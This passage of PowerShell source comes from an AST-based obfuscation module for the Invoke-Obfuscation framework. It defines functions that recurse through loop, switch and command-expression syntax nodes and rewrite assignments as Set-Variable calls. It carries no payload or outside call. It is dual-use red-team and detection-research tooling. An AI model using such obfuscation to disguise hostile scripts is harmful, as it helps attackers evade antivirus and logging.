4573 $ObfuscatedExtent = $ObfuscatedExtent.Substring(0, $ReorderableIndices[$i].Item1 + $LengthDifference)
4574 $ObfuscatedExtent += [String] $ObfuscatedReorderableExtents[$i]
4575 $ObfuscatedExtent += [String] $AbstractSyntaxTree.Extent.Text.Substring($ReorderableIndices[$i].Item2)
4576 }
4577 $ObfuscatedExtent
4578 } Else { Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
4579 }
4580 Else { Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
4581 }
4582 Else { $AbstractSyntaxTree.Extent.Text }
4583 }
4584 }
4585
4586 function Out-ObfuscatedCommandExpressionAst {
4587 <#
4588
4589 .SYNOPSIS
4590
4591 Obfuscates a CommandExpressionAst using AbstractSyntaxTree-based obfuscation rules.
4592
4593 Author: Ryan Cobb (@cobbr_io)
4594 License: Apache License, Version 2.0
4595 Required Dependecies: Out-ObfuscatedChildrenAst
4596 Optional Dependencies: none
4597
4598 .DESCRIPTION
4599
4600 Out-ObfuscatedCommandExpressionAst obfuscates a CommandExpressionAst using AbstractSyntaxTree-based obfuscation rules.
4601
4602 .PARAMETER AbstractSyntaxTree
4603
4604 Specifies the CommandExpressionAst to be obfuscated.
4605
4606 .PARAMETER AstTypesToObfuscate
4607
4608 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
4609
4610 .PARAMETER DisableNestedObfuscation
4611
4612 Specifies that only the root CommandExpressionAst should be obfuscated, obfuscation should not be applied recursively.
4613
4614 .OUTPUTS
4615
4616 String
4617
4618 .EXAMPLE
4619
4620 Out-ObfuscatedCommandExpressionAst -Ast $CommandExpressionAst
4621
4622 .NOTES
4623
4624 Out-ObfuscatedCommandExpressionAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
4625
4626 #>
4627 Param (
4628 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
4629 [ValidateNotNullOrEmpty()]
4630 [Alias('Ast')]
4631 [System.Management.Automation.Language.CommandExpressionAst] $AbstractSyntaxTree,
4632
4633 [Parameter(Position = 1)]
4634 [ValidateNotNullOrEmpty()]
4635 [Alias('AstTypes', 'Types')]
4636 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
4637
4638 [Switch] $DisableNestedObfuscation
4639 )
4640 Process {
4641 Write-Verbose "[Out-ObfuscatedCommandExpressionAst]"
4642 If (-not $DisableNestedObfuscation) {
4643 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
4644 }
4645 Else { $AbstractSyntaxTree.Extent.Text }
4646 }
4647 }
4648
4649 # LabeledStatementAst Inherited Classes
4650
4651 function Out-ObfuscatedLoopStatementAst {
4652 <#
4653
4654 .SYNOPSIS
4655
4656 Obfuscates a LoopStatementAst using AbstractSyntaxTree-based obfuscation rules.
4657
4658 Author: Ryan Cobb (@cobbr_io)
4659 License: Apache License, Version 2.0
4660 Required Dependecies: Out-ObfuscatedChildrenAst
4661 Optional Dependencies: none
4662
4663 .DESCRIPTION
4664
4665 Out-ObfuscatedLoopStatementAst obfuscates a LoopStatementAst using AbstractSyntaxTree-based obfuscation rules.
4666
4667 .PARAMETER AbstractSyntaxTree
4668
4669 Specifies the LoopStatementAst to be obfuscated.
4670
4671 .PARAMETER AstTypesToObfuscate
4672
4673 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
4674
4675 .PARAMETER DisableNestedObfuscation
4676
4677 Specifies that only the root LoopStatementAst should be obfuscated, obfuscation should not be applied recursively.
4678
4679 .OUTPUTS
4680
4681 String
4682
4683 .EXAMPLE
4684
4685 Out-ObfuscatedLoopStatementAst -Ast $LoopStatementAst
4686
4687 .NOTES
4688
4689 Out-ObfuscatedLoopStatementAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
4690
4691 #>
4692 Param (
4693 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
4694 [ValidateNotNullOrEmpty()]
4695 [Alias('Ast')]
4696 [System.Management.Automation.Language.LoopStatementAst] $AbstractSyntaxTree,
4697
4698 [Parameter(Position = 1)]
4699 [ValidateNotNullOrEmpty()]
4700 [Alias('AstTypes', 'Types')]
4701 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
4702
4703 [Switch] $DisableNestedObfuscation
4704 )
4705
4706 Process {
4707 Write-Verbose "[Out-ObfuscatedLoopStatementAst]"
4708 If (-not $DisableNestedObfuscation) {
4709 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
4710 }
4711 Else { $AbstractSyntaxTree.Extent.Text }
4712 }
4713 }
4714
4715 function Out-ObfuscatedSwitchStatementAst {
4716 <#
4717
4718 .SYNOPSIS
4719
4720 Obfuscates a SwitchStatementAst using AbstractSyntaxTree-based obfuscation rules.
4721
4722 Author: Ryan Cobb (@cobbr_io)
4723 License: Apache License, Version 2.0
4724 Required Dependecies: Out-ObfuscatedChildrenAst
4725 Optional Dependencies: none
4726
4727 .DESCRIPTION
4728
4729 Out-ObfuscatedSwitchStatementAst obfuscates a SwitchStatementAst using AbstractSyntaxTree-based obfuscation rules.
4730
4731 .PARAMETER AbstractSyntaxTree
4732
4733 Specifies the SwitchStatementAst to be obfuscated.
4734
4735 .PARAMETER AstTypesToObfuscate
4736
4737 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
4738
4739 .PARAMETER DisableNestedObfuscation
4740
4741 Specifies that only the root SwitchStatementAst should be obfuscated, obfuscation should not be applied recursively.
4742
4743 .OUTPUTS
4744
4745 String
4746
4747 .EXAMPLE
4748
4749 Out-ObfuscatedSwitchStatementAst -Ast $SwitchStatementAst
4750
4751 .NOTES
4752
4753 Out-ObfuscatedSwitchStatementAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
4754
4755 #>
4756 Param (
4757 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
4758 [ValidateNotNullOrEmpty()]
4759 [Alias('Ast')]
4760 [System.Management.Automation.Language.SwitchStatementAst] $AbstractSyntaxTree,
4761
4762 [Parameter(Position = 1)]
4763 [ValidateNotNullOrEmpty()]
4764 [Alias('AstTypes', 'Types')]
4765 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
4766
4767 [Switch] $DisableNestedObfuscation
4768 )
4769 Process {
4770 Write-Verbose "[Out-ObfuscatedSwitchStatementAst]"
4771 If (-not $DisableNestedObfuscation) {
4772 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
4773 }
4774 Else { $AbstractSyntaxTree.Extent.Text }
4775 }
4776 }
4777
4778 # LoopStatementAst Inherited Classes
4779
4780 function Out-ObfuscatedDoUntilStatementAst {
4781 <#
4782
4783 .SYNOPSIS
4784
4785 Obfuscates a DoUntilStatementAst using AbstractSyntaxTree-based obfuscation rules.
4786
4787 Author: Ryan Cobb (@cobbr_io)
4788 License: Apache License, Version 2.0
4789 Required Dependecies: Out-ObfuscatedChildrenAst
4790 Optional Dependencies: none
4791
4792 .DESCRIPTION
4793
4794 Out-ObfuscatedDoUntilStatementAst obfuscates a DoUntilStatementAst using AbstractSyntaxTree-based obfuscation rules.
4795
4796 .PARAMETER AbstractSyntaxTree
4797
4798 Specifies the DoUntilStatementAst to be obfuscated.
4799
4800 .PARAMETER AstTypesToObfuscate
4801
4802 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
4803
4804 .PARAMETER DisableNestedObfuscation
4805
4806 Specifies that only the root DoUntilStatementAst should be obfuscated, obfuscation should not be applied recursively.
4807
4808 .OUTPUTS
4809
4810 String
4811
4812 .EXAMPLE
4813
4814 Out-ObfuscatedDoUntilStatementAst -Ast $DoUntilStatementAst
4815
4816 .NOTES
4817
4818 Out-ObfuscatedDoUntilStatementAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
4819
4820 #>
4821 Param (
4822 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
4823 [ValidateNotNullOrEmpty()]
4824 [Alias('Ast')]
4825 [System.Management.Automation.Language.DoUntilStatementAst] $AbstractSyntaxTree,
4826
4827 [Parameter(Position = 1)]
4828 [ValidateNotNullOrEmpty()]
4829 [Alias('AstTypes', 'Types')]
4830 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
4831
4832 [Switch] $DisableNestedObfuscation
4833 )
4834 Process {
4835 Write-Verbose "[Out-ObfuscatedDoUntilStatementAst]"
4836 If (-not $DisableNestedObfuscation) {
4837 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
4838 }
4839 Else { $AbstractSyntaxTree.Extent.Text }
4840 }
4841 }
4842
4843 function Out-ObfuscatedDoWhileStatementAst {
4844 <#
4845
4846 .SYNOPSIS
4847
4848 Obfuscates a DoWhileStatementAst using AbstractSyntaxTree-based obfuscation rules.
4849
4850 Author: Ryan Cobb (@cobbr_io)
4851 License: Apache License, Version 2.0
4852 Required Dependecies: Out-ObfuscatedChildrenAst
4853 Optional Dependencies: none
4854
4855 .DESCRIPTION
4856
4857 Out-ObfuscatedDoWhileStatementAst obfuscates a DoWhileStatementAst using AbstractSyntaxTree-based obfuscation rules.
4858
4859 .PARAMETER AbstractSyntaxTree
4860
4861 Specifies the DoWhileStatementAst to be obfuscated.
4862
4863 .PARAMETER AstTypesToObfuscate
4864
4865 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
4866
4867 .PARAMETER DisableNestedObfuscation
4868
4869 Specifies that only the root DoWhileStatementAst should be obfuscated, obfuscation should not be applied recursively.
4870
4871 .OUTPUTS
4872
4873 String
4874
4875 .EXAMPLE
4876
4877 Out-ObfuscatedDoWhileStatementAst -Ast $DoWhileStatementAst
4878
4879 .NOTES
4880
4881 Out-ObfuscatedDoWhileStatementAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
4882
4883 #>
4884 Param (
4885 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
4886 [ValidateNotNullOrEmpty()]
4887 [Alias('Ast')]
4888 [System.Management.Automation.Language.DoWhileStatementAst] $AbstractSyntaxTree,
4889
4890 [Parameter(Position = 1)]
4891 [ValidateNotNullOrEmpty()]
4892 [Alias('AstTypes', 'Types')]
4893 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
4894
4895 [Switch] $DisableNestedObfuscation
4896 )
4897 Process {
4898 Write-Verbose "[Out-ObfuscatedDoWhileStatementAst]"
4899 If (-not $DisableNestedObfuscation) {
4900 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
4901 }
4902 Else { $AbstractSyntaxTree.Extent.Text }
4903 }
4904 }
4905
4906 function Out-ObfuscatedForEachStatementAst {
4907 <#
4908
4909 .SYNOPSIS
4910
4911 Obfuscates a ForEachStatementAst using AbstractSyntaxTree-based obfuscation rules.
4912
4913 Author: Ryan Cobb (@cobbr_io)
4914 License: Apache License, Version 2.0
4915 Required Dependecies: Out-ObfuscatedChildrenAst
4916 Optional Dependencies: none
4917
4918 .DESCRIPTION
4919
4920 Out-ObfuscatedForEachStatementAst obfuscates a ForEachStatementAst using AbstractSyntaxTree-based obfuscation rules.
4921
4922 .PARAMETER AbstractSyntaxTree
4923
4924 Specifies the ForEachStatementAst to be obfuscated.
4925
4926 .PARAMETER AstTypesToObfuscate
4927
4928 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
4929
4930 .PARAMETER DisableNestedObfuscation
4931
4932 Specifies that only the root ForEachStatementAst should be obfuscated, obfuscation should not be applied recursively.
4933
4934 .OUTPUTS
4935
4936 String
4937
4938 .EXAMPLE
4939
4940 Out-ObfuscatedForEachStatementAst -Ast $ForEachStatementAst
4941
4942 .NOTES
4943
4944 Out-ObfuscatedForEachStatementAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
4945
4946 #>
4947 Param (
4948 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
4949 [ValidateNotNullOrEmpty()]
4950 [Alias('Ast')]
4951 [System.Management.Automation.Language.ForEachStatementAst] $AbstractSyntaxTree,
4952
4953 [Parameter(Position = 1)]
4954 [ValidateNotNullOrEmpty()]
4955 [Alias('AstTypes', 'Types')]
4956 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
4957
4958 [Switch] $DisableNestedObfuscation
4959 )
4960 Process {
4961 Write-Verbose "[Out-ObfuscatedForEachStatementAst]"
4962 If (-not $DisableNestedObfuscation) {
4963 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
4964 }
4965 Else { $AbstractSyntaxTree.Extent.Text }
4966 }
4967 }
4968
4969 function Out-ObfuscatedForStatementAst {
4970 <#
4971
4972 .SYNOPSIS
4973
4974 Obfuscates a ForStatementAst using AbstractSyntaxTree-based obfuscation rules.
4975
4976 Author: Ryan Cobb (@cobbr_io)
4977 License: Apache License, Version 2.0
4978 Required Dependecies: Out-ObfuscatedChildrenAst
4979 Optional Dependencies: none
4980
4981 .DESCRIPTION
4982
4983 Out-ObfuscatedForStatementAst obfuscates a ForStatementAst using AbstractSyntaxTree-based obfuscation rules.
4984
4985 .PARAMETER AbstractSyntaxTree
4986
4987 Specifies the ForStatementAst to be obfuscated.
4988
4989 .PARAMETER AstTypesToObfuscate
4990
4991 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
4992
4993 .PARAMETER DisableNestedObfuscation
4994
4995 Specifies that only the root ForStatementAst should be obfuscated, obfuscation should not be applied recursively.
4996
4997 .OUTPUTS
4998
4999 String
5000
5001 .EXAMPLE
5002
5003 Out-ObfuscatedForStatementAst -Ast $ForStatementAst
5004
5005 .NOTES
5006
5007 Out-ObfuscatedForStatementAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
5008
5009 #>
5010 Param (
5011 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
5012 [ValidateNotNullOrEmpty()]
5013 [Alias('Ast')]
5014 [System.Management.Automation.Language.ForStatementAst] $AbstractSyntaxTree,
5015
5016 [Parameter(Position = 1)]
5017 [ValidateNotNullOrEmpty()]
5018 [Alias('AstTypes', 'Types')]
5019 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
5020
5021 [Switch] $DisableNestedObfuscation
5022 )
5023 Process {
5024 Write-Verbose "[Out-ObfuscatedForStatementAst]"
5025 If (-not $DisableNestedObfuscation) {
5026 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
5027 }
5028 Else { $AbstractSyntaxTree.Extent.Text }
5029 }
5030 }
5031
5032 function Out-ObfuscatedWhileStatementAst {
5033 <#
5034
5035 .SYNOPSIS
5036
5037 Obfuscates a WhileStatementAst using AbstractSyntaxTree-based obfuscation rules.
5038
5039 Author: Ryan Cobb (@cobbr_io)
5040 License: Apache License, Version 2.0
5041 Required Dependecies: Out-ObfuscatedChildrenAst
5042 Optional Dependencies: none
5043
5044 .DESCRIPTION
5045
5046 Out-ObfuscatedWhileStatementAst obfuscates a WhileStatementAst using AbstractSyntaxTree-based obfuscation rules.
5047
5048 .PARAMETER AbstractSyntaxTree
5049
5050 Specifies the WhileStatementAst to be obfuscated.
5051
5052 .PARAMETER AstTypesToObfuscate
5053
5054 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
5055
5056 .PARAMETER DisableNestedObfuscation
5057
5058 Specifies that only the root WhileStatementAst should be obfuscated, obfuscation should not be applied recursively.
5059
5060 .OUTPUTS
5061
5062 String
5063
5064 .EXAMPLE
5065
5066 Out-ObfuscatedWhileStatementAst -Ast $WhileStatementAst
5067
5068 .NOTES
5069
5070 Out-ObfuscatedWhileStatementAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
5071
5072 #>
5073 Param (
5074 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
5075 [ValidateNotNullOrEmpty()]
5076 [Alias('Ast')]
5077 [System.Management.Automation.Language.WhileStatementAst] $AbstractSyntaxTree,
5078
5079 [Parameter(Position = 1)]
5080 [ValidateNotNullOrEmpty()]
5081 [Alias('AstTypes', 'Types')]
5082 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
5083
5084 [Switch] $DisableNestedObfuscation
5085 )
5086 Process {
5087 Write-Verbose "[Out-ObfuscatedWhileStatementAst]"
5088 If (-not $DisableNestedObfuscation) {
5089 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
5090 }
5091 Else { $AbstractSyntaxTree.Extent.Text }
5092 }
5093 }
5094
5095 # PipelineBaseAst Inherited Classes
5096
5097 function Out-ObfuscatedAssignmentStatementAst {
5098 <#
5099
5100 .SYNOPSIS
5101
5102 Obfuscates a AssignmentStatementAst using AbstractSyntaxTree-based obfuscation rules.
5103
5104 Author: Ryan Cobb (@cobbr_io)
5105 License: Apache License, Version 2.0
5106 Required Dependecies: Out-ObfuscatedAst, Out-ParenthesizedString, Out-ObfuscatedChildrenAst
5107 Optional Dependencies: none
5108
5109 .DESCRIPTION
5110
5111 Out-ObfuscatedAssignmentStatementAst obfuscates a AssignmentStatementAst using AbstractSyntaxTree-based obfuscation rules.
5112
5113 .PARAMETER AbstractSyntaxTree
5114
5115 Specifies the AssignmentStatementAst to be obfuscated.
5116
5117 .PARAMETER AstTypesToObfuscate
5118
5119 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
5120
5121 .PARAMETER DisableNestedObfuscation
5122
5123 Specifies that only the root AssignmentStatementAst should be obfuscated, obfuscation should not be applied recursively.
5124
5125 .OUTPUTS
5126
5127 String
5128
5129 .EXAMPLE
5130
5131 Out-ObfuscatedAssignmentStatementAst -Ast $AssignmentStatementAst
5132
5133 .NOTES
5134
5135 Out-ObfuscatedAssignmentStatementAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
5136
5137 #>
5138 Param (
5139 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
5140 [ValidateNotNullOrEmpty()]
5141 [Alias('Ast')]
5142 [System.Management.Automation.Language.AssignmentStatementAst] $AbstractSyntaxTree,
5143
5144 [Parameter(Position = 1)]
5145 [ValidateNotNullOrEmpty()]
5146 [Alias('AstTypes', 'Types')]
5147 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
5148
5149 [Switch] $DisableNestedObfuscation
5150 )
5151 Process {
5152 Write-Verbose "[Out-ObfuscatedAssignmentStatementAst]"
5153 If (-not ($AbstractSyntaxTree.GetType() -in $AstTypesToObfuscate)) {
5154 If (-not $DisableNestedObfuscation) {
5155 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
5156 }
5157 Else { $AbstractSyntaxTree.Extent.Text }
5158 }
5159 Else {
5160 $OperatorText = [System.Management.Automation.Language.TokenTraits]::Text($AbstractSyntaxTree.Operator)
5161 If ($AbstractSyntaxTree.Left.GetType().Name -eq "VariableExpressionAst" -AND $AbstractSyntaxTree.Left.VariablePath.IsVariable) {
5162 If ($OperatorText -eq "=") {
5163 $RightExtent = $AbstractSyntaxTree.Right.Extent.Text
5164 If (-not $DisableNestedObfuscation) { $RightExtent = Out-ObfuscatedAst -AbstractSyntaxTree $AbstractSyntaxTree.Right -AstTypesToObfuscate $AstTypesToObfuscate }
5165 "Set-Variable -Name " + $AbstractSyntaxTree.Left.VariablePath.UserPath + " -Value " + (Out-ParenthesizedString $RightExtent)
5166 }
5167 ElseIf ($OperatorText -eq "+=") {
5168 $RightExtent = $AbstractSyntaxTree.Right.Extent.Text
5169 If (-not $DisableNestedObfuscation) { $RightExtent = Out-ObfuscatedAst -AbstractSyntaxTree $AbstractSyntaxTree.Right -AstTypesToObfuscate $AstTypesToObfuscate }
5170 $LeftExtent = $AbstractSyntaxTree.Left.Extent.Text
5171 If (-not $DisableNestedObfuscation) { $LeftExtent = Out-ObfuscatedAst -AbstractSyntaxTree $AbstractSyntaxTree.Left -AstTypesToObfuscate $AstTypesToObfuscate }
5172 "Set-Variable -Name " + $AbstractSyntaxTree.Left.VariablePath.UserPath + " -Value " + (Out-ParenthesizedString ($LeftExtent + " + " + (Out-ParenthesizedString $RightExtent)))
5173 }
5174 ElseIf ($OperatorText -eq "-=") {
5175 $RightExtent = $AbstractSyntaxTree.Right.Extent.Text
5176 If (-not $DisableNestedObfuscation) { $RightExtent = Out-ObfuscatedAst -AbstractSyntaxTree $AbstractSyntaxTree.Right -AstTypesToObfuscate $AstTypesToObfuscate }
5177 $LeftExtent = $AbstractSyntaxTree.Left.Extent.Text
5178 If (-not $DisableNestedObfuscation) { $LeftExtent = Out-ObfuscatedAst -AbstractSyntaxTree $AbstractSyntaxTree.Left -AstTypesToObfuscate $AstTypesToObfuscate }
5179 "Set-Variable -Name " + $AbstractSyntaxTree.Left.VariablePath.UserPath + " -Value " + (Out-ParenthesizedString ($LeftExtent + " - " + (Out-ParenthesizedString $RightExtent)))
5180 }
5181 ElseIf ($OperatorText -eq "*=") {
5182 $RightExtent = $AbstractSyntaxTree.Right.Extent.Text
5183 If (-not $DisableNestedObfuscation) { $RightExtent = Out-ObfuscatedAst -AbstractSyntaxTree $AbstractSyntaxTree.Right -AstTypesToObfuscate $AstTypesToObfuscate }
5184 $LeftExtent = $AbstractSyntaxTree.Left.Extent.Text
5185 If (-not $DisableNestedObfuscation) { $LeftExtent = Out-ObfuscatedAst -AbstractSyntaxTree $AbstractSyntaxTree.Left -AstTypesToObfuscate $AstTypesToObfuscate }
5186 "Set-Variable -Name " + $AbstractSyntaxTree.Left.VariablePath.UserPath + " -Value " + (Out-ParenthesizedString ($LeftExtent + " * " + (Out-ParenthesizedString $RightExtent)))
5187 }
5188 ElseIf ($OperatorText -eq "/=") {
5189 $RightExtent = $AbstractSyntaxTree.Right.Extent.Text
5190 If (-not $DisableNestedObfuscation) { $RightExtent = Out-ObfuscatedAst -AbstractSyntaxTree $AbstractSyntaxTree.Right -AstTypesToObfuscate $AstTypesToObfuscate }
5191 $LeftExtent = $AbstractSyntaxTree.Left.Extent.Text
5192 If (-not $DisableNestedObfuscation) { $LeftExtent = Out-ObfuscatedAst -AbstractSyntaxTree $AbstractSyntaxTree.Left -AstTypesToObfuscate $AstTypesToObfuscate }
5193 "Set-Variable -Name " + $AbstractSyntaxTree.Left.VariablePath.UserPath + " -Value " + (Out-ParenthesizedString ($LeftExtent + " / " + (Out-ParenthesizedString $RightExtent)))
5194 }
5195 ElseIf ($OperatorText -eq "%=") {
5196 $RightExtent = $AbstractSyntaxTree.Right.Extent.Text
5197 If (-not $DisableNestedObfuscation) { $RightExtent = Out-ObfuscatedAst -AbstractSyntaxTree $AbstractSyntaxTree.Right -AstTypesToObfuscate $AstTypesToObfuscate }
5198 $LeftExtent = $AbstractSyntaxTree.Left.Extent.Text
5199 If (-not $DisableNestedObfuscation) { $LeftExtent = Out-ObfuscatedAst -AbstractSyntaxTree $AbstractSyntaxTree.Left -AstTypesToObfuscate $AstTypesToObfuscate }
5200 "Set-Variable -Name " + $AbstractSyntaxTree.Left.VariablePath.UserPath + " -Value " + (Out-ParenthesizedString ($LeftExtent + " % " + (Out-ParenthesizedString $RightExtent)))
5201 }
5202 ElseIf ($OperatorText -eq "++") {
5203 $RightExtent = $AbstractSyntaxTree.Right.Extent.Text
5204 If (-not $DisableNestedObfuscation) { $RightExtent = Out-ObfuscatedAst -AbstractSyntaxTree $AbstractSyntaxTree.Right -AstTypesToObfuscate $AstTypesToObfuscate }
5205 $LeftExtent = $AbstractSyntaxTree.Left.Extent.Text
5206 If (-not $DisableNestedObfuscation) { $LeftExtent = Out-ObfuscatedAst -AbstractSyntaxTree $AbstractSyntaxTree.Left -AstTypesToObfuscate $AstTypesToObfuscate }
5207 "Set-Variable -Name " + $AbstractSyntaxTree.Left.VariablePath.UserPath + " -Value " + (Out-ParenthesizedString ($LeftExtent + " + 1"))
5208 }
5209 ElseIf ($OperatorText -eq "--") {
5210 $RightExtent = $AbstractSyntaxTree.Right.Extent.Text
5211 If (-not $DisableNestedObfuscation) { $RightExtent = Out-ObfuscatedAst -AbstractSyntaxTree $AbstractSyntaxTree.Right -AstTypesToObfuscate $AstTypesToObfuscate }
5212 $LeftExtent = $AbstractSyntaxTree.Left.Extent.Text
5213 If (-not $DisableNestedObfuscation) { $LeftExtent = Out-ObfuscatedAst -AbstractSyntaxTree $AbstractSyntaxTree.Left -AstTypesToObfuscate $AstTypesToObfuscate }
5214 "Set-Variable -Name " + $AbstractSyntaxTree.Left.VariablePath.UserPath + " -Value " + (Out-ParenthesizedString ($LeftExtent + " - 1"))
5215 }
